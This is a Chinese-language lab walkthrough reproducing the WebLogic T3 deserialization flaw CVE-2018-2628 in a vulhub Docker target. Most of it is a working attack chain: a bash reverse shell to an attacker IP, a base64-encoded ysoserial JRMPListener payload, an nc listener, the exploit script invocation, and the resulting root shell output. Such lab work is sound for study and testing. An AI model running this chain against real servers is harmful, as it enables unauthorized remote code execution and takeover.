漏洞成因
1、Weblogic开放控制台的7001端口,默认会开启
T3协议
服务
2、Weblogic的T3协议实现了
RMI(远程方法调用)
,在 WebLogic Server 和其他 Java 程序间传输数据
3、T3协议的缺陷触发了Weblogic Server WLS Core Components中存在的
反序列化漏洞
4、攻击者可以发送构造的恶意T3协议数据,服务器反序列化以后
执行恶意代码
,获取到目标服务器权限
原理分析(拓展资料):
https://xz.aliyun.com/t/8073
nmap监测t3协议状态
nmap 192.168.10.5 -n -v -p 7001 --script=weblogic-t3-info
环境搭建
1.进入靶场目录
cd /vulhub-master/weblogic/CVE-2018-2628
2.开启靶场【报错重启docker服务】
[root@localhost CVE-2018-2628]# docker-compose up -d
3.查看靶场端口
[root@localhost CVE-2018-2628]# docker ps
4.访问靶场
192.168.10.5:7001
复现步骤
概览:
1、kali启动JRMPListener,参数包含恶意代码,使靶机服务器连接到7777端口)
2、kali创建7777端口监听
3、运行poc.py,让漏洞服务器主动连接RMI服务器,进而下载恶意代码,建立反弹连接
详细:
1.生成指定格式payload
bash -i >& /dev/tcp/192.168.10.128/7777 0>&1

2.kali启动JRMPListener[将步骤1生成的payload替换参数]
java版本:1.8
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
如果靶机连接本机 8761 端口[端口占用,切换端口],执行步骤一代码,进行反弹连接
3.监听本机端口
┌──(root㉿kali)-[~]
└─# nc -lvp 7777
listening on [any] 7777 ...
└─# nc -lvp 7777
listening on [any] 7777 ...
4、kali运行运行POC(只支持Python2)[手敲,复制粘贴报错]
python2
cve-2018-2628-exp.py 靶机地址 靶机端口 ysoserial.jar 攻击机地址 步骤2端口 JRMPClient
python2 cve-2018-2628-exp.py 192.168.10.5 7001 ysoserial-all.jar 192.168.10.128 8761 JRMPClient
5.成功连接
6.查看系统版本
uname -a
root@bf19ddf1c321:~/Oracle/Middleware/user_projects/domains/base_domain# uname -a
<Middleware/user_projects/domains/base_domain# uname -a
Linux bf19ddf1c321 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
漏洞利用逻辑
1.运行exp脚本,靶机接收到序列化内容
2.靶机连接攻击机 8761 端口
3.靶机与攻击机连接后,接收攻击机发送的,反弹连接的序列化内容
4.靶机执行反弹连接,与攻击机 7777 端口建立连接